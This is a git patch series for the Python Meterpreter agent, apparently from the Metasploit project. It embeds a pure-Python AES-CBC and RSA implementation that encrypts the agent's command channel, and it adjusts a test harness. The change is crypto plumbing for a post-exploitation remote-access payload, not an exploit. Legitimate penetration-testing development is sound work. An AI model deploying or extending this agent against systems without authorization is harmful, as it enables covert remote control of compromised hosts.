From fded9aef85b024cf7249b8f7f9481346b9a19672 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 2 Oct 2025 16:14:06 -0400 Subject: [PATCH 1/2] Move the crypto code into Meterpreter This ensures that the crypto functionality is present without needing to be patched in by framework. It also means that line numbers are correct in the debugging output. --- python/meterpreter/meterpreter.py | 292 +++++++++++++++++++++++++++++- 1 file changed, 283 insertions(+), 9 deletions(-) diff --git a/python/meterpreter/meterpreter.py b/python/meterpreter/meterpreter.py index d6919c572..133f31d8e 100644 --- a/python/meterpreter/meterpreter.py +++ b/python/meterpreter/meterpreter.py @@ -1,6 +1,7 @@ #!/usr/bin/python import binascii import code +import copy import os import platform import random @@ -49,6 +50,7 @@ NULL_BYTE = bytes('\x00', 'UTF-8') long = int unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x) + xrange = range # reseed the random generator. random.seed() @@ -948,7 +950,7 @@ def decrypt_packet(self, pkt): if enc_flag == ENC_AES256: iv = raw[PACKET_HEADER_SIZE:PACKET_HEADER_SIZE+16] encrypted = raw[PACKET_HEADER_SIZE+len(iv):] - return met_aes_decrypt(self.aes_key, iv, encrypted) + return AES_CBC(self.aes_key).decrypt(iv, encrypted) else: return raw[PACKET_HEADER_SIZE:] return None @@ -977,7 +979,7 @@ def encrypt_packet(self, pkt): # sending it back to MSF, and it won't be able to decrypt it yet. if self.aes_enabled: iv = rand_bytes(16) - enc = iv + met_aes_encrypt(self.aes_key, iv, pkt[8:]) + enc = iv + AES_CBC(self.aes_key).encrypt(iv, pkt[8:]) hdr = struct.pack('>I', len(enc) + 8) + pkt[4:8] pkt = hdr + enc # We change the packet encryption type to tell MSF that @@ -1510,17 +1512,17 @@ def _core_patch_url(self, request, response): return ERROR_SUCCESS, response def _core_negotiate_tlv_encryption(self, request, response): - debug_print('[*] Negotiating TLV encryption') + debug_print('[*] negotiating TLV encryption') self.transport.aes_key = rand_bytes(32) self.transport.aes_enabled = False response += tlv_pack(TLV_TYPE_SYM_KEY_TYPE, ENC_AES256) der = packet_get_tlv(request, TLV_TYPE_RSA_PUB_KEY)['value'].strip() - debug_print('[*] RSA key: ' + str(binascii.b2a_hex(der))) - debug_print('[*] AES key: ' + hex(met_rsa.b2i(self.transport.aes_key))) - enc_key = met_rsa_encrypt(der, self.transport.aes_key) - debug_print('[*] Encrypted AES key: ' + hex(met_rsa.b2i(enc_key))) + debug_print('[*] received RSA key: ' + str(binascii.b2a_hex(der))) + debug_print('[*] generated AES key: ' + str(binascii.b2a_hex(self.transport.aes_key))) + enc_key = RSA(der).encrypt(self.transport.aes_key) + debug_print('[*] sending encrypted AES key: ' + hex(RSA.b2i(enc_key))) response += tlv_pack(TLV_TYPE_ENC_SYM_KEY, enc_key) - debug_print('[*] TLV encryption sorted') + debug_print('[*] finished negotiating TLV encryption') return ERROR_SUCCESS, response def _core_loadlib(self, request, response): @@ -1740,7 +1742,279 @@ def create_response(self, request): debug_print("[*] sending response packet") return response + tlv_pack(TLV_TYPE_RESULT, result) -# PATCH-SETUP-ENCRYPTION # +class AES_CBC(object): + nrs = {16: 10, 24: 12, 32: 14} + S = [ + 99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171, + 118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156, + 164, 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, + 113, 216, 49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, + 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179, + 41, 227, 47, 132, 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57, + 74, 76, 88, 207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2, 127, + 80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, 188, 182, 218, + 33, 16, 255, 243, 210, 205, 12, 19, 236, 95, 151, 68, 23, 196, 167, + 126, 61, 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238, + 184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36, 92, 194, 211, + 172, 98, 145, 149, 228, 121, 231, 200, 55, 109, 141, 213, 78, 169, 108, + 86, 244, 234, 101, 122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, + 232, 221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102, 72, 3, 246, + 14, 97, 53, 87, 185, 134, 193, 29, 158, 225, 248, 152, 17, 105, 217, + 142, 148, 155, 30, 135, 233, 206, 85, 40, 223, 140, 161, 137, 13, 191, + 230, 66, 104, 65, 153, 45, 15, 176, 84, 187, 22 + ] + + @staticmethod + def _gmul_helper(a, b): + r = 0 + while b: + if b & 1: + r ^= a + a <<= 1 + if a > 255: + a ^= 0x11B + b >>= 1 + return r + + @staticmethod + def _rcon_helper(gmul_func): + return [gmul_func(1, 1 << n) for n in range(30)] + + @staticmethod + def _ror32(x): + return ((x >> 8) | (x << 24)) & 0xFFFFFFFF + + @staticmethod + def _Si_helper(S): + return [S.index(n) for n in range(len(S))] + + @staticmethod + def _mix_helper(n, vec, gmul_func): + return sum(gmul_func(n, v) << (24 - 8 * shift) for shift, v in enumerate(vec)) + + @staticmethod + def _mixl_helper(S, vec, gmul_func, mix_func): + return [mix_func(s, vec, gmul_func) for s in S] + + @staticmethod + def _rorl_helper(T, ror_func): + return [ror_func(t) for t in T] + + Si = _Si_helper.__get__(object)(S) + rcon = _rcon_helper.__get__(object)(_gmul_helper.__get__(object)) + T1 = _mixl_helper.__get__(object)(S, (2, 1, 1, 3), _gmul_helper.__get__(object), _mix_helper.__get__(object)) + T2 = _rorl_helper.__get__(object)(T1, _ror32.__get__(object)) + T3 = _rorl_helper.__get__(object)(T2, _ror32.__get__(object)) + T4 = _rorl_helper.__get__(object)(T3, _ror32.__get__(object)) + T5 = _mixl_helper.__get__(object)(Si, (14, 9, 13, 11), _gmul_helper.__get__(object), _mix_helper.__get__(object)) + T6 = _rorl_helper.__get__(object)(T5, _ror32.__get__(object)) + T7 = _rorl_helper.__get__(object)(T6, _ror32.__get__(object)) + T8 = _rorl_helper.__get__(object)(T7, _ror32.__get__(object)) + U1 = _mixl_helper.__get__(object)(list(range(256)), (14, 9, 13, 11), _gmul_helper.__get__(object), _mix_helper.__get__(object)) + U2 = _rorl_helper.__get__(object)(U1, _ror32.__get__(object)) + U3 = _rorl_helper.__get__(object)(U2, _ror32.__get__(object)) + U4 = _rorl_helper.__get__(object)(U3, _ror32.__get__(object)) + + def __init__(self, key): + if len(key)not in (16, 24, 32): + raise ValueError('Invalid key size') + rds = self.nrs[len(key)] + self._Ke = [[0] * 4 for i in xrange(rds + 1)] + self._Kd = [[0] * 4 for i in xrange(rds + 1)] + rnd_kc = (rds + 1) * 4 + KC = len(key) // 4 + tk = [struct.unpack('>i', key[i:i + 4])[0] + for i in xrange(0, len(key), 4)] + rconpointer = 0 + t = KC + for i in xrange(0, KC): + self._Ke[i // 4][i % 4] = tk[i] + self._Kd[rds - (i // 4)][i % 4] = tk[i] + while t < rnd_kc: + tt = tk[KC - 1] + tk[0] ^= ((self.S[(tt >> 16) & 255] << 24) ^ (self.S[(tt >> 8) & 255] << 16) ^ ( + self.S[tt & 255] << 8) ^ self.S[(tt >> 24) & 255] ^ (self.rcon[rconpointer] << 24)) + rconpointer += 1 + if KC != 8: + for i in xrange(1, KC): + tk[i] ^= tk[i - 1] + else: + for i in xrange(1, KC // 2): + tk[i] ^= tk[i - 1] + tt = tk[KC // 2 - 1] + tk[KC // 2] ^= (self.S[tt & 255] ^ (self.S[(tt >> 8) & 255] << 8) ^ + (self.S[(tt >> 16) & 255] << 16) ^ (self.S[(tt >> 24) & 255] << 24)) + for i in xrange(KC // 2 + 1, KC): + tk[i] ^= tk[i - 1] + j = 0 + while j < KC and t < rnd_kc: + self._Ke[t // 4][t % 4] = tk[j] + self._Kd[rds - (t // 4)][t % 4] = tk[j] + j += 1 + t += 1 + for r in xrange(1, rds): + for j in xrange(0, 4): + tt = self._Kd[r][j] + self._Kd[r][j] = (self.U1[(tt >> 24) & 255] ^ self.U2[(tt >> 16) & 255] ^ self.U3[(tt >> 8) & 255] ^ self.U4[tt & 255]) + + def _cw(self, word): + return (word[0] << 24) | (word[1] << 16) | (word[2] << 8) | word[3] + + def _s2b(self, text): + if sys.version_info[0] >= 3 and isinstance(text, bytes): + return text + return list(ord(c) for c in text) + + def _b2s(self, binary): + if sys.version_info[0] >= 3: + return bytes(binary) + return "".join(chr(b) for b in binary) + + def _encdec(self, data, K, s, S, L1, L2, L3, L4): + if len(data) != 16: + raise ValueError('wrong block length') + rds = len(K) - 1 + (s1, s2, s3) = s + a = [0, 0, 0, 0] + t = [(self._cw(data[4 * i:4 * i + 4]) ^ K[0][i])for i in xrange(0, 4)] + for r in xrange(1, rds): + for i in xrange(0, 4): + a[i] = L1[(t[i] >> 24) & 255] + a[i] ^= L2[(t[(i + s1) % 4] >> 16) & 255] + a[i] ^= L3[(t[(i + s2) % 4] >> 8) & 255] + a[i] ^= L4[t[(i + s3) % 4] & 255] ^ K[r][i] + t = copy.copy(a) + rst = [] + for i in xrange(0, 4): + tt = K[rds][i] + rst.append((S[(t[i] >> 24) & 255] ^ (tt >> 24)) & 255) + rst.append((S[(t[(i + s1) % 4] >> 16) & 255] ^ (tt >> 16)) & 255) + rst.append((S[(t[(i + s2) % 4] >> 8) & 255] ^ (tt >> 8)) & 255) + rst.append((S[t[(i + s3) % 4] & 255] ^ tt) & 255) + return rst + + def chunks(self, lst, n): + for i in range(0, len(lst), n): + yield lst[i:i + n] + + def enc_in(self, pt): + return self._encdec( + pt, self._Ke, [ + 1, 2, 3], self.S, self.T1, self.T2, self.T3, self.T4) + + def dec_in(self, ct): + return self._encdec( + ct, self._Kd, [ + 3, 2, 1], self.Si, self.T5, self.T6, self.T7, self.T8) + + def pad(self, pt): + c = 16 - (len(pt) % 16) + return pt + bytes(chr(c) * c, 'utf-8') + + def unpad(self, pt): + c = pt[-1] + if not isinstance(c, int): + c = ord(c) + return pt[:-c] + + def encrypt(self, iv, pt): + if len(iv) != 16: + raise ValueError('initialization vector must be 16 bytes') + else: + self._lcb = self._s2b(iv) + pt = self.pad(pt) + return NULL_BYTE.__class__().join([self.enc_b(b) for b in self.chunks(pt, 16)]) + + def enc_b(self, pt): + if len(pt) != 16: + raise ValueError('plaintext block must be 16 bytes') + pt = self._s2b(pt) + pcb = [(p ^ l)for (p, l) in zip(pt, self._lcb)] + self._lcb = self.enc_in(pcb) + return self._b2s(self._lcb) + + def decrypt(self, iv, ct): + if len(iv) != 16: + raise ValueError('initialization vector must be 16 bytes') + else: + self._lcb = self._s2b(iv) + if len(ct) % 16 != 0: + raise ValueError('ciphertext must be a multiple of 16') + return self.unpad(NULL_BYTE.__class__().join([self.dec_b(b) for b in self.chunks(ct, 16)])) + + def dec_b(self, ct): + if len(ct) != 16: + raise ValueError('ciphertext block must be 16 bytes') + cb = self._s2b(ct) + pt = [(p ^ l) for (p, l) in zip(self.dec_in(cb), self._lcb)] + self._lcb = cb + return self._b2s(pt) + +class RSA(object): + def __init__(self, key): + self.key = key + + def _bt(self, b): + if sys.version_info[0] < 3: + return b + return ord(b) + + @staticmethod + def b2i(b): + return int(binascii.b2a_hex(b), 16) + + def _i2b(self, i): + h = '%x' % i + if len(h) % 2 == 1: + h = '0' + h + if sys.version_info[0] >= 3: + h = h.encode('utf-8') + return binascii.a2b_hex(h) + + def _rs(self, a, o): + if a[o] == self._bt(struct.pack('B', 0x81)): + return (struct.unpack('B', a[o + 1])[0], 2 + o) + elif a[o] == self._bt(struct.pack('B', 0x82)): + return (struct.unpack('>H', a[o + 1:o + 3])[0], 3 + o) + + def _ri(self, b, o): + i, o = self._rs(b, o) + return (b[o:o + i], o + i) + + def _b2me(self, b): + if b[0] != self._bt(struct.pack('B', 0x30)): + return (None, None) + _, o = self._rs(b, 1) + if b[o] != self._bt(struct.pack('B', 2)): + return (None, None) + (m, o) = self._ri(b, o + 1) + if b[o] != self._bt(struct.pack('B', 2)): + return (None, None) + e = b[o + 2:] + return (self.b2i(m), self.b2i(e)) + + def _der2me(self, d): + if d[0] != self._bt(struct.pack('B', 0x30)): + return (None, None) + _, o = self._rs(d, 1) + while o < len(d): + if d[o] == self._bt(struct.pack('B', 0x30)): + o += struct.unpack('B', d[o + 1:o + 2])[0] + elif d[o] == self._bt(struct.pack('B', 0x05)): + o += 2 + elif d[o] == self._bt(struct.pack('B', 0x03)): + _, o = self._rs(d, o + 1) + return self._b2me(d[o + 1:]) + else: + return (None, None) + + def encrypt(self, pt): + m, e = self._der2me(self.key) + h = struct.pack('BB', 0, 2) + d = struct.pack('B', 0) + l = 256 - len(h) - len(pt) - len(d) + p = os.urandom(512).replace(struct.pack('B', 0), struct.pack('')) + return self._i2b(pow(self.b2i(h + p[:l] + d + pt), e, m)) _try_to_fork = TRY_TO_FORK and hasattr(os, 'fork') if not _try_to_fork or (_try_to_fork and os.fork() == 0): From cc628e0b5a4a9fa78738db0e312e438f98985354 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Mon, 6 Oct 2025 17:31:55 -0400 Subject: [PATCH 2/2] Fix the test --- python/meterpreter/tests/test_ext_server_stdapi.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/python/meterpreter/tests/test_ext_server_stdapi.py b/python/meterpreter/tests/test_ext_server_stdapi.py index 6989a9cdb..c77c1fa55 100644 --- a/python/meterpreter/tests/test_ext_server_stdapi.py +++ b/python/meterpreter/tests/test_ext_server_stdapi.py @@ -22,7 +22,7 @@ def create_meterpreter_context(): # Read and patch out the Meterpreter socket connection logic side effect onwards source = file.read() source_without_socket_connection = source[ - 0 : source.index(b"# PATCH-SETUP-ENCRYPTION #") + 0 : source.index(b"_try_to_fork = TRY_TO_FORK") ] context = {}